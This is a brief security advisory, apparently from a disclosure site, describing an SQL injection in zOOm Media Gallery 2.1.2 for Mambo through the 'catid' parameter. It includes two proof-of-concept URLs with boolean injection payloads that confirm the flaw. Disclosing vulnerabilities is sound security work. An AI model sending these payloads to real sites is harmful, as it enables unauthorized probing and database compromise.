|
Brought to you by:
Suppliers of:
|
|
|
| |
| zOOm Media Gallery is "a PHP/SQL component module for MamboCMS and is in use by many sites across the Internet". An SQL injection vulnerability in zOOM Media Gallery allows remote attackers to inject arbitrary SQL statements through the 'catid' parameter. |
| |
Credit:
The information has been provided by Andreas Constantinides.
|
| |
Vulnerable Systems:
* zOOm Image Gallery version 2.1.2
Exploit:
The following URLs can be used to trigger the vulnerability, as the below URL will return all available pictures:
http://vulnerablesite/index.php?option=com_zoom&Itemid=1&catid=1+OR+0=1
While the following URL will return no pictures:
http://vulnerablesite/index.php?option=com_zoom&Itemid=1&catid=1+AND+0=1
|
|
|
|
|
